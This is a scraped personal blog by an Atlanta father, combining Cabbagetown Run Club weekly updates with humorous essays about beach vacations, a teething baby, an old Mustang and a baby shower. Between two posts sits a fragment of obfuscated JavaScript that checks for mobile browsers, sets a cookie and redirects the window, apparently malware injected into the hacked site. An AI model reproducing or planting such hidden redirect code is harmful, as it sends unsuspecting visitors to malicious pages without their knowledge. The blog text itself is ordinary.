Cabbagetown Run Club: Run Club Run

Many thanks to Mike for filling in last week. We cut our family vacation short and evacuated the Outer Banks of North Carolina to outrun the dreaded Hurricane Earl. Good thing because it made landfall…in Nova Scotia. Yeesh.

Anyway, back to the ATL and the busy busy fall. Lots happening as usual. Next week is the East Atlanta Strut 5k And speaking of 5k’s, our very own Cabbagetown Romp and Stomp 5k is now open for registration!

This will be the 5th annual and in addition to striving for a good time had by all, we hope to make it a full 5k this year! Last year you were all given about a .5k break but no more Mr. Nice Guy!

This probably doesn’t apply to any of you but certainly you all know of someone who may benefit from Barb Keeney’s generous offer to train folks who are looking to go from walking to actually running this year’s 5k:

Hi Tim,
Will you pass this on to your running connections, please:

“Run the Romp” Training Program: Starting Thursday, Sept. 9 at 7 p.m. Meet at Milltown. This program is for first-time or out of practice runners who want to run the 5K Romp&Stomp. At the beginning, it will be alternating walking and running. We will start with jogging one or two minutes and walking two or three minutes. As the training level increases, the run/walk ratio will increase with the goal to run the 5K Romp&Stomp on Nov. 6. Let me know if you have any questions, Barb. 404-317-8709.

So get your mother, father and your brother’s uncle out for a little activity on Thursday nights. No more excuses.

I hope you all enjoyed the (much deserved) attention shed on Jeff and Malissa in the current issue of Atlanta Intown Paper. Next up for the October issue is our very own John Wald Fetner. I don’t know if he deserves the attention as much but he has an undeniably solid mustache.
As for tonight’s run, I think the Braves are in town. It might be fun to run downtown and by Turner Field. I think they would appreciate our run-by support. See you tonight!!

Tim

The Cabbagetown Run Club meets every Thursday at 7 p.m. at Milltown in Cabbagetown. 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At the beach with Ralph Lauren

It seems that every time I spend a week at the beach with family there will be a self-satisfied looking gentleman whose own family vacation has brought him to a spot near our blanket. He’ll look like a young Ralph Lauren, legs crossed at the knee in his beach chair, fit, tan, relaxed. He’ll toggle between a novel and a crossword puzzle, digging his toes into the cool sand, occasionally removing his sunglasses to reveal a set of learned eyes and flash a brilliant smile towards his extended family. He’ll survey them the way he does the rhythmic bustle of the ocean. Everything will be in its right place, running just as Ralph would have it. And I swear I was thisclose to being that very guy… that was, until I had kids.

Lost now is the art of deep relaxation and reflection that I used to associate with a beach trip. Not too long ago a few hours at the shore meant two or three crossword puzzles, a good chunk of a novel and maybe an US Weekly. I now joke with Kristen when packing “which book should I bring and consequently not read?” Her usual reply: “Something light…”

We’re heading to the Outer Banks for our yearly trip with Kristen’s family this week and my pre-vacation musings aren’t so much centered on sunsets and seafood and cold drinks that come from blenders as they are focused on diapers, formula and baby monitors.

These days sunscreen needs to be applied and re-applied to innocent, baby skin and a mountain of towels, toys, bags and coolers need to be transported in a heroic effort reminiscent of the Pyramids. Sweat will drip from the tip of my nose as I set up the shade tent, corral Elliott (3) from getting too close to the surf and prevent Margo (11 months) from eating the char of the previous night’s bonfire. Ol’ Ralphy Boy will most likely be taking a self-satisfied nap while this plays out, lest his worldly eyes chafe with empathy at the very sight of such a poor sap.

The leisure has left me.

But perhaps I can look to the others in the house for inspiration. The capacious “Ocean Star” Villa offers all of the amenities. If I can’t relax in this house, with this group, then when can I?

Here is our cast of characters:

Kristen’s mother PatMatriarch, and until the year my brother Mike decides to join us, the undisputed boss of the house. Pat will cram so much stuff into her Nissan Maxima that anything shy of the 8 bedroom house would be insufficient. Sure, she’ll take her glass of Pinot Grigio at 5pm each day but she’ll also do so much cooking, cleaning and caretaking that she’ll be exhausted by the end of the week. Plus, that car isn’t going to re-pack itself for the return trip home…

Uncle Bob—Perhaps a slightly older version of the Ralph Lauren character I envision bumping into with the subtle distinction that Bob will consistently REMIND you of how fit, tan and relaxed he is…

Cousin Kevin—The nature of Kevin’s business eludes us all but it seems to require loads of travel and designer glasses. His laptop will never be more than arm’s length away but I think he has programmed it to make Mojitos…

Sister Kara—Too much like her mother to completely give herself over to relaxation, Kara will threaten leisurely activities like fly fishing, kayaking and parasailing and then stress over not getting to them because she is too busy helping with her nieces and nephews.

Sister Mary/Brother-in-Law Jim (Dennis 9, Erin 7, CeCe 3.5, + Baby Pinto due in Nov.)—Mary looks (and genuinely feels) half-dressed if she doesn’t have a child draped over her. Her brand of relaxation is foreign to most of us and we love her for it. Jim is the engine that keeps the vacation running. He is the keeper of the kitty, the shopper and the packer of coolers. He’ll eke a morsel of peace out of daily trips to Wee Winks Market and a moment or two to himself on the deck but any hopes for more than that left him years ago.

Sister Maggie—This Wilmington Delaware resident with the megawatt smile is never too far removed from the posh life of South Beach. Her milieu is the pool. Her specialty is the nap. When not playing with the kids, leisure will find her naturally.

Sister Betsy (Owen 11 months)—On paper Betsy should be every bit as stressed out as Kristen and I but her exceedingly well-behaved child allows for her leisure time to start promptly at 6:30 pm each evening when he goes down for the night. (I seethe with jealousy.) Of course, a good portion of that free time will be spent selecting a super-cute outfit for Owen’s next day and preparing organic baby meals.


Family Friends Joel and Caitlin (Sebastian 3, Winslow 18 months)—
Joel will close out the poker game somewhere around 1 am and be back up at 6 am cooking breakfast burritos and researching jet ski rentals. I don’t know if he’s relaxed per se, but he’s curiously happy on very little sleep. Caitlin’s plight may more closely resemble my own. I’ve never heard word one of a complaint out of her but I bet she wouldn’t mind the reflection of a quiet hour or two on the beach. Or maybe I’m just hoping that somebody understands what I’m talking about and Caitlin is a level-headed bet…

Family Friend Tony—A late addition to the roster, Tony is the consummate man of leisure. When he is on his game, he can make Mr. Lauren look downright uptight. To boot, Tony has just been liberated from his job so his potential for chill is at an all time high. Thus, I will look to Tony as my Mentor de Leisure. Perhaps I can study his every languishing move, drink what he drinks and emulate his aura.

And of course I know it’s not ABOUT me anymore and I am lucky to be certain. We are building memories for the kids (right?) and I rest assured that these are good ones. I do have great fun playing baseball with Elliott and watching Margo marvel at the ocean so being Ralph Lauren will have to wait for now. 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Cabbagetown Run Club: Join the list!!

Maybe tonight we should run Grant Park so those running the 5k Saturday can have a little preview?  See you then…now for nuts and bolts:

After nearly five years of a weekly email I expected the cessation might bring about a few sighs.  Little did I know the mutinous outpouring of emotion that was set to come my way!  Oh you people–get a hold of yourselves!!  Ok, just kidding…

There were a few legitimate questions and perhaps a smidge of misunderstanding.  I will still be writing to you weekly, it will just be delivered in a shinier package.  You don’t have to remember anything either.  Follow the prompts below and each Thursday you will get a reminder to read my little info-nugget.  –Tim

If you’d like to receive automatic notification of Cabbagetown Run Club e-mails, sign up here. After you sign up, you’ll receive the e-mails every Thursday. Subscribe to Cabbagetown Run Club by Email

Or you can use the form below:

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Cabbagetown Run Club: The end of the email list

Hello Runners,

So last week I received an email from someone named Molly Clark and I’m not even sure who Molly Clark is but she wanted to be removed from the run club email list. This happens periodically and even though it is usually accompanied with a note like “love the emails but I’ve moved!!” or “I stopped running and the weekly email makes me feel bad!!” it makes me feel sort of spammy. Never my intention to be filling inboxes of those who for some reason or other DO NOT need this crucial weekly information (hard to fathom, I know…). SO…the Cabbagetown Run Club has it’s very own category button on the side of my new blog TimmyDaddy.com. You can check in there for the weekly updates, comment all you like and keep your little inboxes nice and tidy.

Mike Benzie has accused me of killing one bird with three stones which sounds a little cruel so I’m cutting it down to two little stones: www.timmydaddy.com and the Cabbagetown Run Club page on Facebook. I may send a last reminder email next week to catch any stragglers but now you have been fairly forewarned!

I have it on good word (Blynch) that Ultimate Frisbee season has ended and thus there will be an East Side invasion at Run Club tonight swelling the numbers to record highs … it must be time to start talking about college football and Fall 5ks and beer. My very same reliable source informs me that there is a beer festival of sorts this weekend in Inman Park. At $35 for 6 hours, this source declares we can all WIN that game! Here is the info.

And you can all just let me know how that goes…because instead I will be attending a 3 year olds bday “Luau”. Oh how the mighty have fallen! But this little girl is a super cutie and her dad is a great guy so we are sure to have a few laughs. Elliott is totally pumped for it. A midday beerfest may hamper my parenting skills anyway, but you kids have fun. You deserve it after running in this damn heat all summer.

I was contacted by someone in Avondale Estates touting their 5k on Labor Day Weekend. Here’s the info at Active. Just thought I’d start laying out your Fall race calendar for you… remember to sign up for the Grant Park 5k on the 28th too!

Tim

The Cabbagetown Running Club meets Thursdays at 7 p.m. at Milltown Arms in Cabbagetown, USA. For more information, shoot me an e-mail.

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A padded room for Margo

My daughter Margo is closing in on 11 months and a padded room. She is about the cutest thing you’ve ever seen and I don’t just say that because she is my spitting image. She has the same sleepy eyes and a little Irish nose, a quick smile and the same super-curly hair. In fact, on the continuum of hair growth and loss I think we have just met in the exact middle. My hair thinning down and hers thickening up, we are often accused of having the same barber. A miniTimmy if there ever was one, during waking hours at least.

Margo with Paddle

Where we differ greatly is in our desired sleep patterns. Me? Pretty much any time I am allowed to. Her? Only begrudgingly when she passes out in a milk coma. She’s like that college buddy of yours that somehow powered through even when he was four beers past the passing out stage. She just doesn’t want to miss a thing so we all have been seeing a lot of what 4am has to offer lately.

To be fair, she is not just a nudge of baby. In fact, at daycare her sunny disposition makes her a favorite of all of the teachers. But nighttime is a different story. Our little sweetheart gets all Naomi Campbell on us. She had a series of ear infections that forestalled earlier attempts to get her through the night and lately she has been teething like a T-Rex. She has been gnawing on the corners of the coffee table so we have to risk our forefingers in her mouth for the shards of Mexican tabletop. We’d put the safety cushions on the corners but to her that would be like sponge cake and probably more dangerous than the table itself.

We offer her pacifiers and teething rings and she sort of nods like “Nah, I’m good. Got a cell phone charger I’m chewing on right now and then I’m going to see if I can take down that golf ball over there.” My friend Joel asked me if I had read Marley and Me, which I have not, but I got his drift…

We had The Tubes put in her ears a few weeks ago which has put an end to the ear infections but doesn’t seem to have procured us any more sleep. We are very sensitive to the fact that she may still be in some sort of pain so we are going to have her checked out again by both our pediatrician and the specialist who performed the minor surgery. But if they say she is A-OK it may be time to go to the nuclear option of… letting her cry it out.

This is bound to be brutal. We did this with Elliott, clear ears and all, around the 4 month mark. It didn’t take much—the boy liked his sleep. Margo most certainly will be a different scenario. Her start up cry sounds something like a tsunami warning and her main chorus is small-hand-on-hot-stove in D Major. She sells it too. She’ll flail around the crib to show just how dire the situation is. Her specialty is the Fosbury Flop which often results in bumping her little head—so the padded room comment wasn’t mere hyperbole. I think we actually need to pad her entire crib. Do they sell a kit for this?

Wish me luck. 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The car situation: From Mustang to Mini(van)

When I was in my late-twenties I was driving an old Toyota Camry Wagon that I loved but the repair costs started piling up so I sold it cheaply to some hippies. They had a church/charity/farm/fairground something or other thing going on. They told me I could write the difference between the sale price and the Blue Book value off on my taxes …

I had heard that phrase said before but I really had no idea what “writing it off” meant. Still a little fuzzy there to be completely honest but anyway, I agreed.

That very same worldliness led me to purchase a 1967 Ford Mustang I saw FOR SALE in someone’s yard near where I worked. It was Granny Apple green, with a gleaming paint job and the leather interior was impeccable. It was just so beautiful that I barely had to start the thing up to know I’d be buying it. It is probably corny but the real reason I was hooked was that it just felt like childhood.

The closest thing to it we had growing up was a Ford Maverick with a giant rust spot on the side but something about sitting in those cars is exciting to me. Buckling up the lap belt and gripping the slender steering wheel was rush enough. I could have looked under the hood I suppose.
Not that the car was in bad shape. It ran fairly well and got me to and fro for a good couple of years but what should have been the hallmark of cool was simply emasculating.

Misconception #1: Girls will think this is cool — this didn’t really pan out. Kristen and I were dating off and on at the time and she was a good sport about the lack of air conditioning, the AM radio and the squeaky suspension but the lackadaisical steering response gave her pause. Oh, and the brakes too — they required some muscle – kind of a lot of muscle – and occasionally a few quick prayers that the tank would actually stop when you needed it to. Toss in a faulty fuel gauge that left us hoofing it for gas a couple of times and the Apple Green luster dulled some. I don’t recall exactly but I think the few other dates I may have went on during that time frame were pretty much a “let’s take your car” situation.

Misconception #2: Melba Toast is packing some muscle!! — I don’t really know cars all that well beyond aesthetics and I was reminded of this every time I stopped for gas. Dudes like cars and dudes really like classic cars with big ‘ol engines and nifty other under-the-hood parts. Dudes would accost me at gas stations and by dudes I mean rednecks. I’d find myself on the receiving end of an auto mechanical quiz and questions like “I mean, does it Go or does it GOOOOO!!!” I’d say that it ‘Goes’ only to be cut off by some story about the guy’s brother Zeke who had one just like it … Then they would ask to see under the hood and they would shake their heads like I just invited them over for the Super Bowl only to reveal a 15 inch TV. Somehow my conduit of cool turned out to be rather wimpy. Melba Toast was not packing any muscle whatsoever.
I eventually sold it to perhaps the only guy in the Southeast with less NASCAR energy than me and advised him to head North.

Now I lease a 2010 Chrysler Town and Country Minivan with automatic sliding doors and a remote start feature. Not sure if I’ve ever bothered to look under the hood of that one either but trips to the gas station have been blissfully anti-social.

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Video: Pre-vacation e-mail in (animated) real life

Here’s a cartoon example (thanks to Web site xtranormal.com) of my brother Mike’s pre-vacation planning.

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|o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 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Cabbagetown Run Club: Beat Barry

As I look to return to form from back troubles I turn for inspiration to our very own Barry McGraw who turns 39 today. Barry started running with us a couple of years ago and went from being a good runner, to being a really good runner to being the only one of us who can keep up with Emily. A couple of months ago he clocked a 1:25 half Marathon! It’s pretty inspirational to see such improvement from someone in their late thirties and in honor of this I’d like to propose a challenge. We’ll call it BEAT BARRY.

It will be open to anyone who is younger (or older) than Barry that runs with us on at least a semi-regular basis who thinks they are ready to turn it up a notch. We’ll handicap Emily somehow. The crux of the competition will be this. We all take the next 3 months to train our little young and old hearts out and then we’ll all hit the track, say October 14. We’ll have a 2-mile race and if Barry beats all of us, his beer is on us for the rest of the year. If one of us beats Barry, we get his Porsche. Deal??

I’m excited for this. Who says the Cabbagetown Run Club isn’t chock full of fun, huh??!!

A friend of Holly’s will be joining us tonight. Her name is Samantha Rigby and she is new to Atlanta and new to the Cabbagetown Run Club. I told her we were all nice so please pretend to be. I figure we can pull it off as long as Kondritzer is on the disabled list.

See you there!

Tim

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The baby shower v. Wiffle ball tournament

Last month we had one of those terrible scenarios where we had conflicting parties on the same afternoon. By terrible I mean they were both parties for friends who had hit major life milestones and we really wanted to celebrate both of them. And by terrible what I really mean is I lost the friend faceoff and we went to my wife’s co-worker’s Jack and Jill baby shower instead of Bernie’s 40th birthday party extravaganza featuring Wiffle Ball, pulled pork bbq and a keg of cold beer. Terrible.

That’s just the beginning of the travesty. The Wiffle Ball field was right down the street from our house! Anywhere we can walk to with the kids without having to pack up the Town and Country (yep, that’s how I roll) is the gold standard for parties I like to attend these days. The field had been carefully measured out, baselines were lined and a home run wall was erected. An official sized strike zone bearing Bernie’s likeness awaited the first pitch. My anticipation rivaled the elation of childhood trips to Yankee Stadium when the field crew took the covers off of the gleaming white bases and the last bit of infield grooming was complete. Beyond the left field fence was a spread of delicious barbeque, snacks and beer. What the Friends of Bernie Party Planning Committee had put together was quite possibly my holy grail of parties. So, yeah, we went to Alpharetta.

To be fair, Kristen is very close with her co-worker Becky who had just delivered twin girls after five months of mandatory bed rest. The pregnancy was high risk and the fact that everyone was home, happy and healthy truly was a reason for celebration. To boot, Becky and Shawn are very cool and I always enjoy hanging out with them. I think if Kristen had only taken my suggestion to tell them about the Wiffle Ball, they would have ditched their own party and opted to join us at Bernie’s.

The party was in suburban Alpharetta at Shawn’s step-sister’s house. The address on the invitation said GA but Mapquest showed this particular section of Alpharetta to be located in central Tennessee. So I’d guesstimate it took about three innings worth of time to get there. The house itself was enormous and beautiful with 700ft ceilings and a live-in kitchen. I immediately felt inadequate and snarky. “Sure, we could buy a house like this out here but where will we keep the helicopter??”

Now, I love throwing parties and I’ve learned well from my brother Mike that you should always have too much of everything, especially beer and wine. The silver lining of the Jack and Jill party was that no kids were invited so we had a babysitter watching Elliott and Margo. Of course they were at the wiffle ball party down the street from our house so Elliott kept texting me to me to give me guff about it. You know how 3 year olds are with their cell phones.

Anyway, at the very least we figured since we were sans kids we could have an adult beverage and relax a little. Except this particular party suffered from not having enough beer and wine on hand, and by not enough, I mean none. Mike would have been appalled. I think it was a religious thing. I’m not sure what the host’s exact affiliation was but the framed picture of George W. Bush, kneeling in a church pew, while hoisting a glass of milk high in the air offered some insight.

We grabbed a decidedly soft drink and sifted through the assorted cheese balls and cheese straws and cheese cubes and settled in for the opening of the gifts. This tradition has always baffled me. It was invented and propagated by grandmothers the world over and continues to exist only because of them. I’m not saying they don’t have any good ideas but this is the same subset that deems it okay to reuse a Kleenex. The Jack and the Jill sit up front on display and carefully open all of their loot, pausing to comment and thank each guest for their thoughtful present.

Only I wasn’t sure how this was going to go since Becky explicitly told everyone the only gifts they wanted were diapers and wipes. They have a three year old at home so they already have all the standard baby fixins on hand. So there we sat, anxiously awaiting the peeling of paper and untying of bows.
The first package revealed a large box of—you guessed it—diapers and wipes!!

Becky is one of the funnier people I know and all she could muster was “Thanks so much. We are definitely going to go through A LOT of these!” Everyone chuckled. The second package turned out to be some more diapers and wipes. Everyone giggled. The third, fourth, fifth, sixth and seventh exquisitely wrapped packages all contained some iteration of diapers, wipes and the occasional ointment. About the 1oth or 12th gift was a set of UGA onesies with “Bulldogs” on the butt.

Laughter erupted as if W.C. Fields emerged from the cake. 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Posted in Feature | 5 Comments

Blog, blog, blog: An introduction to TimmyDaddy.com

There was a time not too long ago where if someone uttered the phrase my blog I got that watery, pre-vomit sensation in my mouth. Part of the aversion stemmed from a longstanding feud I have held with technology.

For instance, several months ago I bought my wife Kristen a Kindle after weeks of hand wringing and consternation and the eventual acquiescence to the end of books as we know it. Of course the IPad came out about a month later and she offered up “that IPad thing looks pretty cool, huh?” (Damn you Steve Jobs!!)

The rest of my beef with blogs is the audacity it must take to think that others would care what one’s blog has to say. Yet here I am tapping out words for unknown audience – I hope you both enjoy it.

So why now? Two reasons: My son Elliott, age 3 and my daughter Margo who is 9 months old. Slowly but surely, my kids are pulling me onto the information superhighway even if I am dragging my toes like I did on my tricycle as a tyke when I wanted new shoes. We dads are often tasked with the digital cameras and cam-cordering and the truth is I’m still more at ease with a pair of scissors and Elmer’s Glue. Still, when an older client told me a few weeks ago that her computer didn’t have a “reply to all” button I thought that will be ME someday! So maybe it is time to take inventory.

In our house Kristen generally works the TV remote, the CD and the DVD player and I’ve never even attempted to DVR or Tivo anything. Our IPOD is loaded with all of her music and even our alarm clock is on her side of the bed. Luckily we have similar tastes in music and she doesn’t mind telling me when to get up. I could probably ride it out until my kids were old enough to take over caring for my techno-senility but because of the kids I can now do things like work a FLIP video camera.

Of course a technically inclined monkey can probably work a FLIP video camera but I would have never have even explored it without a push from Kristen who followed up her “Merry Christmas” wishes with a “you betterfucking use this thing.” Whizz bang! Fatherhood has pushed me to the cusp of technology! I can now upload pictures of my kids I take with my Blackberry (new this year) directly to my Facebook page (new last year) which is pretty much the most gadgety sounding trick I know.

So really, the water may be cold but I’m already waist deep. Why not give blogging a try?
Admittedly, the name of the blog may sound cute (coined at 18 months by Elliott) but I deem this to be rated NC-17. Not that I intend to be all too vulgar (aside from quoting my wife directly) but I don’t want the younger crowd in on any secrets we may share.

Yes, we all love our kids dearly but we need to use discretion when sharing ways to trick them. I’ll take all of the help I can get. By the way, does anyone know where the OFF button is on the talking Buzz Lightyear doll? Slapping his back sure doesn’t work…

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